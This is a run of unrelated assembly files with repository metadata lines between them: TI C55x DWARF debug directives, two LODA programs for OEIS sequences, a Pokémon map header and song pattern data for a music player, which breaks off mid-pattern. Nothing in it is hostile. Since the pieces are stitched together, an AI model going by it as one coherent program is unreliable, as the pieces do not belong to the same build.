DW_TAG_base_type .dwattr $C$DW$T$14, DW_AT_encoding(DW_ATE_signed) .dwattr $C$DW$T$14, DW_AT_name("long long") .dwattr $C$DW$T$14, DW_AT_byte_size(0x04) .dwattr $C$DW$T$14, DW_AT_bit_size(0x28) .dwattr $C$DW$T$14, DW_AT_bit_offset(0x18) $C$DW$T$15 .dwtag DW_TAG_base_type .dwattr $C$DW$T$15, DW_AT_encoding(DW_ATE_unsigned) .dwattr $C$DW$T$15, DW_AT_name("unsigned long long") .dwattr $C$DW$T$15, DW_AT_byte_size(0x04) .dwattr $C$DW$T$15, DW_AT_bit_size(0x28) .dwattr $C$DW$T$15, DW_AT_bit_offset(0x18) $C$DW$T$16 .dwtag DW_TAG_base_type .dwattr $C$DW$T$16, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$16, DW_AT_name("float") .dwattr $C$DW$T$16, DW_AT_byte_size(0x02) $C$DW$T$17 .dwtag DW_TAG_base_type .dwattr $C$DW$T$17, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$17, DW_AT_name("double") .dwattr $C$DW$T$17, DW_AT_byte_size(0x02) $C$DW$T$18 .dwtag DW_TAG_base_type .dwattr $C$DW$T$18, DW_AT_encoding(DW_ATE_float) .dwattr $C$DW$T$18, DW_AT_name("long double") .dwattr $C$DW$T$18, DW_AT_byte_size(0x02) $C$DW$T$93 .dwtag DW_TAG_base_type .dwattr $C$DW$T$93, DW_AT_encoding(DW_ATE_signed_char) .dwattr $C$DW$T$93, DW_AT_name("signed char") .dwattr $C$DW$T$93, DW_AT_byte_size(0x01) $C$DW$305 .dwtag DW_TAG_TI_far_type .dwattr $C$DW$305, DW_AT_type(*$C$DW$T$93) $C$DW$T$94 .dwtag DW_TAG_const_type .dwattr $C$DW$T$94, DW_AT_type(*$C$DW$305) $C$DW$T$95 .dwtag DW_TAG_pointer_type .dwattr $C$DW$T$95, DW_AT_type(*$C$DW$T$94) .dwattr $C$DW$T$95, DW_AT_address_class(0x17) .dwattr $C$DW$CU, DW_AT_language(DW_LANG_C) ;*************************************************************** ;* DWARF CIE ENTRIES * ;*************************************************************** $C$DW$CIE .dwcie 91 .dwcfi cfa_register, 36 .dwcfi cfa_offset, 0 .dwcfi undefined, 0 .dwcfi undefined, 1 .dwcfi undefined, 2 .dwcfi undefined, 3 .dwcfi undefined, 4 .dwcfi undefined, 5 .dwcfi undefined, 6 .dwcfi undefined, 7 .dwcfi undefined, 8 .dwcfi undefined, 9 .dwcfi undefined, 10 .dwcfi undefined, 11 .dwcfi undefined, 12 .dwcfi undefined, 13 .dwcfi same_value, 14 .dwcfi same_value, 15 .dwcfi undefined, 16 .dwcfi undefined, 17 .dwcfi undefined, 18 .dwcfi undefined, 19 .dwcfi undefined, 20 .dwcfi undefined, 21 .dwcfi undefined, 22 .dwcfi undefined, 23 .dwcfi undefined, 24 .dwcfi undefined, 25 .dwcfi same_value, 26 .dwcfi same_value, 27 .dwcfi same_value, 28 .dwcfi same_value, 29 .dwcfi same_value, 30 .dwcfi same_value, 31 .dwcfi undefined, 32 .dwcfi undefined, 33 .dwcfi undefined, 34 .dwcfi undefined, 35 .dwcfi undefined, 36 .dwcfi undefined, 37 .dwcfi undefined, 38 .dwcfi undefined, 39 .dwcfi undefined, 40 .dwcfi undefined, 41 .dwcfi undefined, 42 .dwcfi undefined, 43 .dwcfi undefined, 44 .dwcfi undefined, 45 .dwcfi undefined, 46 .dwcfi undefined, 47 .dwcfi undefined, 48 .dwcfi undefined, 49 .dwcfi undefined, 50 .dwcfi undefined, 51 .dwcfi undefined, 52 .dwcfi undefined, 53 .dwcfi undefined, 54 .dwcfi undefined, 55 .dwcfi undefined, 56 .dwcfi undefined, 57 .dwcfi undefined, 58 .dwcfi undefined, 59 .dwcfi undefined, 60 .dwcfi undefined, 61 .dwcfi undefined, 62 .dwcfi undefined, 63 .dwcfi undefined, 64 .dwcfi undefined, 65 .dwcfi undefined, 66 .dwcfi undefined, 67 .dwcfi undefined, 68 .dwcfi undefined, 69 .dwcfi undefined, 70 .dwcfi undefined, 71 .dwcfi undefined, 72 .dwcfi undefined, 73 .dwcfi undefined, 74 .dwcfi undefined, 75 .dwcfi undefined, 76 .dwcfi undefined, 77 .dwcfi undefined, 78 .dwcfi undefined, 79 .dwcfi undefined, 80 .dwcfi undefined, 81 .dwcfi undefined, 82 .dwcfi undefined, 83 .dwcfi undefined, 84 .dwcfi undefined, 85 .dwcfi undefined, 86 .dwcfi undefined, 87 .dwcfi undefined, 88 .dwcfi undefined, 89 .dwcfi undefined, 90 .dwcfi undefined, 91 .dwendentry ;*************************************************************** ;* DWARF REGISTER MAP * ;*************************************************************** $C$DW$306 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$306, DW_AT_location[DW_OP_reg0] $C$DW$307 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0") .dwattr $C$DW$307, DW_AT_location[DW_OP_reg1] $C$DW$308 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC0_G") .dwattr $C$DW$308, DW_AT_location[DW_OP_reg2] $C$DW$309 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$309, DW_AT_location[DW_OP_reg3] $C$DW$310 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1") .dwattr $C$DW$310, DW_AT_location[DW_OP_reg4] $C$DW$311 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC1_G") .dwattr $C$DW$311, DW_AT_location[DW_OP_reg5] $C$DW$312 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$312, DW_AT_location[DW_OP_reg6] $C$DW$313 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2") .dwattr $C$DW$313, DW_AT_location[DW_OP_reg7] $C$DW$314 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC2_G") .dwattr $C$DW$314, DW_AT_location[DW_OP_reg8] $C$DW$315 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$315, DW_AT_location[DW_OP_reg9] $C$DW$316 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3") .dwattr $C$DW$316, DW_AT_location[DW_OP_reg10] $C$DW$317 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AC3_G") .dwattr $C$DW$317, DW_AT_location[DW_OP_reg11] $C$DW$318 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T0") .dwattr $C$DW$318, DW_AT_location[DW_OP_reg12] $C$DW$319 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T1") .dwattr $C$DW$319, DW_AT_location[DW_OP_reg13] $C$DW$320 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T2") .dwattr $C$DW$320, DW_AT_location[DW_OP_reg14] $C$DW$321 .dwtag DW_TAG_TI_assign_register, DW_AT_name("T3") .dwattr $C$DW$321, DW_AT_location[DW_OP_reg15] $C$DW$322 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0") .dwattr $C$DW$322, DW_AT_location[DW_OP_reg16] $C$DW$323 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR0") .dwattr $C$DW$323, DW_AT_location[DW_OP_reg17] $C$DW$324 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1") .dwattr $C$DW$324, DW_AT_location[DW_OP_reg18] $C$DW$325 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR1") .dwattr $C$DW$325, DW_AT_location[DW_OP_reg19] $C$DW$326 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2") .dwattr $C$DW$326, DW_AT_location[DW_OP_reg20] $C$DW$327 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR2") .dwattr $C$DW$327, DW_AT_location[DW_OP_reg21] $C$DW$328 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3") .dwattr $C$DW$328, DW_AT_location[DW_OP_reg22] $C$DW$329 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR3") .dwattr $C$DW$329, DW_AT_location[DW_OP_reg23] $C$DW$330 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4") .dwattr $C$DW$330, DW_AT_location[DW_OP_reg24] $C$DW$331 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR4") .dwattr $C$DW$331, DW_AT_location[DW_OP_reg25] $C$DW$332 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5") .dwattr $C$DW$332, DW_AT_location[DW_OP_reg26] $C$DW$333 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR5") .dwattr $C$DW$333, DW_AT_location[DW_OP_reg27] $C$DW$334 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6") .dwattr $C$DW$334, DW_AT_location[DW_OP_reg28] $C$DW$335 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR6") .dwattr $C$DW$335, DW_AT_location[DW_OP_reg29] $C$DW$336 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7") .dwattr $C$DW$336, DW_AT_location[DW_OP_reg30] $C$DW$337 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XAR7") .dwattr $C$DW$337, DW_AT_location[DW_OP_reg31] $C$DW$338 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FP") .dwattr $C$DW$338, DW_AT_location[DW_OP_regx 0x20] $C$DW$339 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XFP") .dwattr $C$DW$339, DW_AT_location[DW_OP_regx 0x21] $C$DW$340 .dwtag DW_TAG_TI_assign_register, DW_AT_name("PC") .dwattr $C$DW$340, DW_AT_location[DW_OP_regx 0x22] $C$DW$341 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SP") .dwattr $C$DW$341, DW_AT_location[DW_OP_regx 0x23] $C$DW$342 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XSP") .dwattr $C$DW$342, DW_AT_location[DW_OP_regx 0x24] $C$DW$343 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BKC") .dwattr $C$DW$343, DW_AT_location[DW_OP_regx 0x25] $C$DW$344 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK03") .dwattr $C$DW$344, DW_AT_location[DW_OP_regx 0x26] $C$DW$345 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BK47") .dwattr $C$DW$345, DW_AT_location[DW_OP_regx 0x27] $C$DW$346 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST0") .dwattr $C$DW$346, DW_AT_location[DW_OP_regx 0x28] $C$DW$347 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST1") .dwattr $C$DW$347, DW_AT_location[DW_OP_regx 0x29] $C$DW$348 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST2") .dwattr $C$DW$348, DW_AT_location[DW_OP_regx 0x2a] $C$DW$349 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ST3") .dwattr $C$DW$349, DW_AT_location[DW_OP_regx 0x2b] $C$DW$350 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP") .dwattr $C$DW$350, DW_AT_location[DW_OP_regx 0x2c] $C$DW$351 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP05") .dwattr $C$DW$351, DW_AT_location[DW_OP_regx 0x2d] $C$DW$352 .dwtag DW_TAG_TI_assign_register, DW_AT_name("MDP67") .dwattr $C$DW$352, DW_AT_location[DW_OP_regx 0x2e] $C$DW$353 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC0") .dwattr $C$DW$353, DW_AT_location[DW_OP_regx 0x2f] $C$DW$354 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0") .dwattr $C$DW$354, DW_AT_location[DW_OP_regx 0x30] $C$DW$355 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA0_H") .dwattr $C$DW$355, DW_AT_location[DW_OP_regx 0x31] $C$DW$356 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0") .dwattr $C$DW$356, DW_AT_location[DW_OP_regx 0x32] $C$DW$357 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA0_H") .dwattr $C$DW$357, DW_AT_location[DW_OP_regx 0x33] $C$DW$358 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRS1") .dwattr $C$DW$358, DW_AT_location[DW_OP_regx 0x34] $C$DW$359 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BRC1") .dwattr $C$DW$359, DW_AT_location[DW_OP_regx 0x35] $C$DW$360 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1") .dwattr $C$DW$360, DW_AT_location[DW_OP_regx 0x36] $C$DW$361 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RSA1_H") .dwattr $C$DW$361, DW_AT_location[DW_OP_regx 0x37] $C$DW$362 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1") .dwattr $C$DW$362, DW_AT_location[DW_OP_regx 0x38] $C$DW$363 .dwtag DW_TAG_TI_assign_register, DW_AT_name("REA1_H") .dwattr $C$DW$363, DW_AT_location[DW_OP_regx 0x39] $C$DW$364 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CSR") .dwattr $C$DW$364, DW_AT_location[DW_OP_regx 0x3a] $C$DW$365 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RPTC") .dwattr $C$DW$365, DW_AT_location[DW_OP_regx 0x3b] $C$DW$366 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDP") .dwattr $C$DW$366, DW_AT_location[DW_OP_regx 0x3c] $C$DW$367 .dwtag DW_TAG_TI_assign_register, DW_AT_name("XCDP") .dwattr $C$DW$367, DW_AT_location[DW_OP_regx 0x3d] $C$DW$368 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN0") .dwattr $C$DW$368, DW_AT_location[DW_OP_regx 0x3e] $C$DW$369 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TRN1") .dwattr $C$DW$369, DW_AT_location[DW_OP_regx 0x3f] $C$DW$370 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA01") .dwattr $C$DW$370, DW_AT_location[DW_OP_regx 0x40] $C$DW$371 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA23") .dwattr $C$DW$371, DW_AT_location[DW_OP_regx 0x41] $C$DW$372 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA45") .dwattr $C$DW$372, DW_AT_location[DW_OP_regx 0x42] $C$DW$373 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSA67") .dwattr $C$DW$373, DW_AT_location[DW_OP_regx 0x43] $C$DW$374 .dwtag DW_TAG_TI_assign_register, DW_AT_name("BSAC") .dwattr $C$DW$374, DW_AT_location[DW_OP_regx 0x44] $C$DW$375 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CARRY") .dwattr $C$DW$375, DW_AT_location[DW_OP_regx 0x45] $C$DW$376 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC1") .dwattr $C$DW$376, DW_AT_location[DW_OP_regx 0x46] $C$DW$377 .dwtag DW_TAG_TI_assign_register, DW_AT_name("TC2") .dwattr $C$DW$377, DW_AT_location[DW_OP_regx 0x47] $C$DW$378 .dwtag DW_TAG_TI_assign_register, DW_AT_name("M40") .dwattr $C$DW$378, DW_AT_location[DW_OP_regx 0x48] $C$DW$379 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SXMD") .dwattr $C$DW$379, DW_AT_location[DW_OP_regx 0x49] $C$DW$380 .dwtag DW_TAG_TI_assign_register, DW_AT_name("ARMS") .dwattr $C$DW$380, DW_AT_location[DW_OP_regx 0x4a] $C$DW$381 .dwtag DW_TAG_TI_assign_register, DW_AT_name("C54CM") .dwattr $C$DW$381, DW_AT_location[DW_OP_regx 0x4b] $C$DW$382 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATA") .dwattr $C$DW$382, DW_AT_location[DW_OP_regx 0x4c] $C$DW$383 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SATD") .dwattr $C$DW$383, DW_AT_location[DW_OP_regx 0x4d] $C$DW$384 .dwtag DW_TAG_TI_assign_register, DW_AT_name("RDM") .dwattr $C$DW$384, DW_AT_location[DW_OP_regx 0x4e] $C$DW$385 .dwtag DW_TAG_TI_assign_register, DW_AT_name("FRCT") .dwattr $C$DW$385, DW_AT_location[DW_OP_regx 0x4f] $C$DW$386 .dwtag DW_TAG_TI_assign_register, DW_AT_name("SMUL") .dwattr $C$DW$386, DW_AT_location[DW_OP_regx 0x50] $C$DW$387 .dwtag DW_TAG_TI_assign_register, DW_AT_name("INTM") .dwattr $C$DW$387, DW_AT_location[DW_OP_regx 0x51] $C$DW$388 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR0LC") .dwattr $C$DW$388, DW_AT_location[DW_OP_regx 0x52] $C$DW$389 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR1LC") .dwattr $C$DW$389, DW_AT_location[DW_OP_regx 0x53] $C$DW$390 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR2LC") .dwattr $C$DW$390, DW_AT_location[DW_OP_regx 0x54] $C$DW$391 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR3LC") .dwattr $C$DW$391, DW_AT_location[DW_OP_regx 0x55] $C$DW$392 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR4LC") .dwattr $C$DW$392, DW_AT_location[DW_OP_regx 0x56] $C$DW$393 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR5LC") .dwattr $C$DW$393, DW_AT_location[DW_OP_regx 0x57] $C$DW$394 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR6LC") .dwattr $C$DW$394, DW_AT_location[DW_OP_regx 0x58] $C$DW$395 .dwtag DW_TAG_TI_assign_register, DW_AT_name("AR7LC") .dwattr $C$DW$395, DW_AT_location[DW_OP_regx 0x59] $C$DW$396 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CDPLC") .dwattr $C$DW$396, DW_AT_location[DW_OP_regx 0x5a] $C$DW$397 .dwtag DW_TAG_TI_assign_register, DW_AT_name("CIE_RETA") .dwattr $C$DW$397, DW_AT_location[DW_OP_regx 0x5b] .dwendtag $C$DW$CU
48.816119
175
0.664743
43ddd5ca68ea1815deb0aa868bc2d342a508920a
584
asm
Assembly
oeis/324/A324487.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
11
2021-08-22T19:44:55.000Z
2022-03-20T16:47:57.000Z
oeis/324/A324487.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
9
2021-08-29T13:15:54.000Z
2022-03-09T19:52:31.000Z
oeis/324/A324487.asm
neoneye/loda-programs
84790877f8e6c2e821b183d2e334d612045d29c0
[ "Apache-2.0" ]
3
2021-08-22T20:56:47.000Z
2021-09-29T06:26:12.000Z
; A324487: a(n) = A001350(n)^3. ; 0,1,1,64,125,1331,4096,24389,91125,438976,1771561,7880599,32768000,141420761,594823321,2537716544,10720765125,45537538411,192699928576,817138135549,3460080078125,14662949322176,62103840598801,263115950765039,1114512556032000,4721424167332081,19999831641819121,84722519068761664,358887319901586125,1520283919090142051,6440005257691303936,27280388024605538549,115561435774008601125,489526700523945017536,2073667404533300404921,8784200221406759430919,37210462578386173952000,157626077284798653234761 seq $0,1350 ; Associated Mersenne numbers. pow $0,3
97.333333
498
0.881849
7816460d00f89e0c7b60c60659fc6ea6f36620f0
71
asm
Assembly
data/maps/headers/SafariZoneGate.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
1
2022-02-15T00:19:44.000Z
2022-02-15T00:19:44.000Z
data/maps/headers/SafariZoneGate.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
data/maps/headers/SafariZoneGate.asm
opiter09/ASM-Machina
75d8e457b3e82cc7a99b8e70ada643ab02863ada
[ "CC0-1.0" ]
null
null
null
map_header SafariZoneGate, SAFARI_ZONE_GATE, GATE, 0 end_map_header
17.75
53
0.830986
06ff6c69fafc8570b4ef6c06498c5f52ebf7d193
266
asm
Assembly
programs/oeis/040/A040756.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
1
2021-03-15T11:38:20.000Z
2021-03-15T11:38:20.000Z
programs/oeis/040/A040756.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
programs/oeis/040/A040756.asm
karttu/loda
9c3b0fc57b810302220c044a9d17db733c76a598
[ "Apache-2.0" ]
null
null
null
; A040756: Continued fraction for sqrt(785). ; 28,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56,56 pow $1,$0 gcd $1,2 mul $1,28
38
190
0.661654
00876e50bbcae1560fa597c42b49f374f42ff953
36,573
asm
Assembly
Musics/LevelSongs/source/welt8_luca1.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
Musics/LevelSongs/source/welt8_luca1.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
Musics/LevelSongs/source/welt8_luca1.asm
kosmonautdnb/TheLandsOfZador
66c9e8ab92f617838afe793a6c9ddaaf7273aadc
[ "MIT" ]
null
null
null
kp_song kp_reloc dc.w kp_song_registers dc.w kp_speed dc.w kp_grooveboxpos dc.w kp_grooveboxlen dc.w kp_groovebox dc.w kp_patternlen dc.w kp_patternmap_lo dc.w kp_patternmap_hi dc.w kp_insmap_lo dc.w kp_insmap_hi dc.w kp_volmap_lo dc.w kp_volmap_hi dc.w kp_sequence kp_song_registers kp_speed dc.b $02 kp_grooveboxpos dc.b $00 kp_grooveboxlen dc.b $04 kp_groovebox dc.b $04 dc.b $05 dc.b $04 dc.b $06 dc.b $05 dc.b $04 dc.b $06 dc.b $04 kp_patternlen dc.b $1F kp_patternmap_lo dc.b #<patnil dc.b #<pat1 dc.b #<pat2 dc.b #<pat3 dc.b #<pat4 dc.b #<pat5 dc.b #<pat6 dc.b #<pat7 dc.b #<pat8 dc.b #<pat9 dc.b #<pat10 dc.b #<pat11 dc.b #<pat12 dc.b #<pat13 dc.b #<pat14 dc.b #<pat15 dc.b #<pat16 dc.b #<pat17 dc.b #<pat18 dc.b #<pat19 dc.b #<pat20 dc.b #<pat21 dc.b #<pat22 dc.b #<pat23 dc.b #<pat24 dc.b #<pat25 dc.b #<pat26 dc.b #<pat27 dc.b #<pat28 dc.b #<pat29 dc.b #<pat30 dc.b #<pat31 dc.b #<pat32 dc.b #<pat33 dc.b #<pat34 dc.b #<pat35 dc.b #<pat36 dc.b #<pat37 dc.b #<pat38 dc.b #<pat39 kp_patternmap_hi dc.b #>patnil dc.b #>pat1 dc.b #>pat2 dc.b #>pat3 dc.b #>pat4 dc.b #>pat5 dc.b #>pat6 dc.b #>pat7 dc.b #>pat8 dc.b #>pat9 dc.b #>pat10 dc.b #>pat11 dc.b #>pat12 dc.b #>pat13 dc.b #>pat14 dc.b #>pat15 dc.b #>pat16 dc.b #>pat17 dc.b #>pat18 dc.b #>pat19 dc.b #>pat20 dc.b #>pat21 dc.b #>pat22 dc.b #>pat23 dc.b #>pat24 dc.b #>pat25 dc.b #>pat26 dc.b #>pat27 dc.b #>pat28 dc.b #>pat29 dc.b #>pat30 dc.b #>pat31 dc.b #>pat32 dc.b #>pat33 dc.b #>pat34 dc.b #>pat35 dc.b #>pat36 dc.b #>pat37 dc.b #>pat38 dc.b #>pat39 patnil kp_setinstrument 8,0 kp_settrackregister 0,16 kp_rewind $00 pat1 pat1loop kp_settrackregister $03,$0D kp_settrackregister $00,$04 kp_settrackregister $03,$0B kp_settrackregister $00,$04 kp_settrackregister $03,$09 kp_settrackregister $00,$04 kp_settrackregister $03,$08 kp_settrackregister $00,$04 kp_settrackregister $01,$00 kp_settrackregister $03,$09 kp_setinstrument $04,$01 kp_settrackregister $03,$0B kp_setinstrument $02,$01 kp_settrackregister $03,$0C kp_settrackregister $00,$02 kp_settrackregister $03,$0D kp_setinstrument $02,$01 kp_settrackregister $03,$0E kp_settrackregister $00,$02 kp_settrackregister $03,$0F kp_setinstrument $04,$01 kp_rewind [pat1loop-pat1] pat2 pat2loop kp_settrackregister $01,$38 kp_setinstrument $0C,$02 kp_setinstrument $0C,$03 kp_settrackregister $01,$30 kp_setinstrument $08,$04 kp_rewind [pat2loop-pat2] pat3 pat3loop kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$10 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_settrackregister $01,$08 kp_setinstrument $04,$07 kp_setinstrument $04,$05 kp_rewind [pat3loop-pat3] pat4 pat4loop kp_settrackregister $01,$44 kp_setinstrument $18,$08 kp_settrackregister $01,$38 kp_setinstrument $08,$02 kp_rewind [pat4loop-pat4] pat5 pat5loop kp_settrackregister $01,$14 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$24 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_settrackregister $01,$1C kp_setinstrument $04,$07 kp_setinstrument $04,$05 kp_rewind [pat5loop-pat5] pat6 pat6loop kp_settrackregister $01,$40 kp_setinstrument $0C,$03 kp_setinstrument $0C,$09 kp_settrackregister $01,$38 kp_setinstrument $08,$03 kp_rewind [pat6loop-pat6] pat7 pat7loop kp_settrackregister $01,$00 kp_setinstrument $04,$0A kp_setinstrument $04,$0A kp_setinstrument $04,$06 kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_settrackregister $01,$00 kp_setinstrument $04,$01 kp_setinstrument $04,$0A kp_rewind [pat7loop-pat7] pat8 pat8loop kp_settrackregister $01,$54 kp_setinstrument $20,$09 kp_rewind [pat8loop-pat8] pat9 pat9loop kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$28 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_settrackregister $01,$24 kp_setinstrument $04,$07 kp_setinstrument $04,$05 kp_rewind [pat9loop-pat9] pat10 pat10loop kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$28 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_setinstrument $02,$06 kp_setinstrument $02,$06 kp_rewind [pat10loop-pat10] pat11 pat11loop kp_settrackregister $01,$38 kp_setinstrument $0C,$02 kp_settrackregister $01,$54 kp_setinstrument $04,$0B kp_settrackregister $01,$66 kp_setinstrument $01,$0B kp_settrackregister $01,$68 kp_settrackregister $00,$03 kp_setinstrument $04,$0B kp_settrackregister $01,$65 kp_setinstrument $01,$0B kp_settrackregister $01,$68 kp_settrackregister $00,$03 kp_settrackregister $01,$62 kp_settrackregister $00,$01 kp_settrackregister $01,$60 kp_settrackregister $00,$03 kp_rewind [pat11loop-pat11] pat12 pat12loop kp_settrackregister $01,$08 kp_setinstrument $04,$06 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$10 kp_setinstrument $04,$05 kp_setinstrument $04,$0C kp_setinstrument $04,$05 kp_settrackregister $01,$08 kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_rewind [pat12loop-pat12] pat13 pat13loop kp_settrackregister $01,$44 kp_setinstrument $0C,$08 kp_settrackregister $01,$54 kp_setinstrument $04,$0B kp_settrackregister $01,$5D kp_setinstrument $01,$0B kp_settrackregister $01,$60 kp_settrackregister $00,$07 kp_settrackregister $01,$51 kp_settrackregister $00,$01 kp_settrackregister $01,$54 kp_settrackregister $00,$07 kp_rewind [pat13loop-pat13] pat14 pat14loop kp_settrackregister $01,$14 kp_setinstrument $04,$06 kp_setinstrument $04,$05 kp_setinstrument $04,$06 kp_settrackregister $01,$24 kp_setinstrument $04,$05 kp_setinstrument $04,$0C kp_setinstrument $04,$05 kp_settrackregister $01,$1C kp_setinstrument $04,$07 kp_setinstrument $04,$06 kp_rewind [pat14loop-pat14] pat15 pat15loop kp_settrackregister $01,$40 kp_setinstrument $0C,$03 kp_settrackregister $01,$4C kp_setinstrument $04,$0B kp_settrackregister $01,$5E kp_setinstrument $01,$0B kp_settrackregister $01,$60 kp_settrackregister $00,$03 kp_setinstrument $04,$0B kp_settrackregister $01,$5A kp_setinstrument $01,$0B kp_settrackregister $01,$58 kp_settrackregister $00,$03 kp_settrackregister $01,$56 kp_settrackregister $00,$01 kp_settrackregister $01,$54 kp_settrackregister $00,$03 kp_rewind [pat15loop-pat15] pat16 pat16loop kp_settrackregister $01,$00 kp_setinstrument $04,$06 kp_setinstrument $04,$0A kp_setinstrument $04,$06 kp_settrackregister $01,$08 kp_setinstrument $04,$05 kp_setinstrument $04,$0C kp_setinstrument $04,$05 kp_settrackregister $01,$00 kp_setinstrument $04,$01 kp_setinstrument $04,$06 kp_rewind [pat16loop-pat16] pat17 pat17loop kp_settrackregister $01,$54 kp_setinstrument $0C,$09 kp_setinstrument $04,$0B kp_settrackregister $01,$66 kp_setinstrument $01,$0B kp_settrackregister $01,$68 kp_settrackregister $00,$03 kp_setinstrument $04,$0B 